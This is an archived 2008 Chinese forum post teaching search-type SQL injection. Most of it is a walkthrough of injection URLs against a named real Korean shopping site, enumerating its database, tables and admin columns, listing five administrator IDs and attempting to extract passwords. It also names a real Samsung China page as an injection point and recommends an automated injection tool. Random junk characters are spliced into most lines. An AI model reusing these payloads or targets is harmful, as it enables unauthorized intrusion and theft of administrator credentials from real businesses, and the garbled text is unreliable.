我爱电脑技术论坛's Archiver

tianshiren 发表于 2008-6-3 11:07

搜索型注入的入侵技术

帖几个baidu出来的关于搜索型注入的文章。百度货,不知道作者是哪个,感谢了先。。 ^_^mtX6I8G:ce;U9u
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。7s;g`f7^;Q\
s'mjwMUU$X)r
然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。
)WxjOUQm[!n
7W4TKQ/px 我这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。7cA0OK!n+oG0f*C!`.z

'i+X$O+F/}C [1} [url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] user>0 and '%'=' //得到当前数据库账号N@(}5ne3_e3\
.VHd?{2W#b{RS
[url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] db_name()>0 and '%'=' //得到当前数据库名
v j(i*@'PY+g
4eFv.o#I5C{M"q [url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select count(*) from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了@ Y5}*bU8J_
dK+G!h1J
[url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到当前数据库的第一个表名
(q*x eT9d @(L$~&M G }.Q 2n.V2t i4UE+LK
[url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到当前数据库的第二个表名?odjC'Cy

9p:ZYEn{2\ [url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到当前数据库的第三个表名-~-^[ C1IO!c

+Z!A0VV SI| [url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and%20[/url](select%20top%201%20name%20from%20lvhuana3.dbo.sysobjects%20where%20xtype='u'%20and%20status>0%20and%20name%20not%20in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestLeft','tbl_brandbestRight','tbl_card','tbl_cart','tbl_catalogue','tbl_community','tbl_court','tbl_estimate','tbl_FAQ','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_recommand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempDesc','tempdesc2','tempmodel','tempPrdMain','tempPrdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0%20and%20'%'=' //依次类推,得到所有的表yP(exY]e4I~

7[Q.{'l0pw 其实分析可以知道只有这个tbl_admin表才是最重要的。接着开始暴列名。|A[P } J

&w.rQ"y?#o [url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select top 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第一个列名c_employee_id
9xS(gay
0NH G-S m&as [url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select top 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第二个列名c_employee_name9w y^t"t![
@x1\-{r?Wm)q
[url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第三个列名c_password
X`3Y(ig0`wem$dF \"ql LF ?*s
[url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第四个列名c_level
p r'fx;am8jU
j!sN2Xn,Z 列名暴完毕了,嘿嘿,接着开始暴管理员账号密码了。3~/Y6N$Xz,_ f dS Kss/d

f\Sm:S [url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select top 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一个管理员的id为943hoon
q1Ko*Q@5E
0]4OK+gSp [url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第二个管理员的id为champ
q2eZ-vQ.^
?5b)]}}(X/H%zB [url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第三个管理员的id为clark`m+d6w!z9ew:H
/J.Xi.o4f0e
[url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第四个管理员的id为hskim
S(qvqTD !jBH8Z _V z8k!j
[url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第五个管理员的id为jajeong @CVB*|)B8id

N5B\#oi&VP6s:B6d [url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select top 1 c_c_password from tbl_admin)>0 and '%'=' //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。
eK/?m8`2B/uH 4A5y.DN![2Yu
一会再想别的办法吧。。。。。
X5Z^$~K+NW;X+c 另外说下,2.3 的啊D支持搜索型的注入方式是:
&h)ML0d'}Q/c'X
!QY:doWv'@i 一般网站的搜索都是部分匹配的,x SdV"dY0s`
有漏洞的url是[url]http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=[/url]
Dn zK Q'_ \7Gl 构造注入语句 三星%'and 1=1 and '%'='Km|#d2LuV
      三星%'and 1=2 and '%'='
%D5~,y@&\ ng 大家看到了吧 两个返回页面是不一样的 说明有注入的漏洞 特征字 写笔记本 就是三星%'and 1=1 and '%'=' 返回时有的ttG}Q%LF7N.b
&x4ix plFdV/l
我们知道一般搜索代码是这么写的: [C-bKjY g&{u
Select * from 表名 where 字段 like ’%关键字%’7y3XAV,P e4c
这样就造成了对关键字前后的所有匹配(%是用来全部匹配的)zGw@5M
这里如果关键字没有过滤的话,就可以这样来构造:
"j&?:f7]+\ 关键字=’ and [查询条件] and ‘%25’=’U8w8\b)y s
这样查询就变成c$~^HDO-i
select * from 表名 where 字段 like '%' and 1=1 and '%'='%'
I kJ-rl-|o,L 这样就很好的构成了一个sql注入点,当然用手工也可以,用nbsi也可以~~&j ac"J5p$X,q_
注入是不分家的,没必要什么型什么型的!~*F.p@Db G
如果不信,大家请看下面的《sql注入天书》的原话
UjP SI 第一节、SQL注入的一般步骤7s[~OzC)jUg
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。&zm%D8eAaF.D
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:h"m#^H:D#}
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
PH{o5j;fD3@j&B Select * from 表名 where 字段=49
TA_B T)X 注入的参数为ID=49 And [查询条件],即是生成语句:M gq1@eN8p
Select * from 表名 where 字段=49 And [查询条件]
HALng2Md6p
Z;wN#e.I4^ (B) Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下:
,or6^W"}Dw Select * from 表名 where 字段=’连续剧’
8mu#~U9KO0{B 注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
n,}CfBSO$V? Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
%M&qj*~q2LB z\ jh (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:.P8]2{1Ia9]ny[sWL:|
Select * from 表名 where 字段like ’%关键字%’@9p&V4p!^5uD
注入的参数为keyword=’ and [查询条件] and ‘%25’=’,即是生成语句:+V R-G5O"T d
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’ G ^ k$i:d|2b.b
fl+u[(c
当然手工是麻烦的4n"L#a1lc$u X
用工具的话,我建议用nbsi的工具比较好,就我感觉只有nbsi结合了这个技术,用别的软体是不能注入的0Bc3Hb8uqd.y
注入点只要写:]4G?`}]Bv4i[
[url]http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=%[/url]?-I:@ j\F-X
再加个特征字符就可以了

页: [1]
   

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.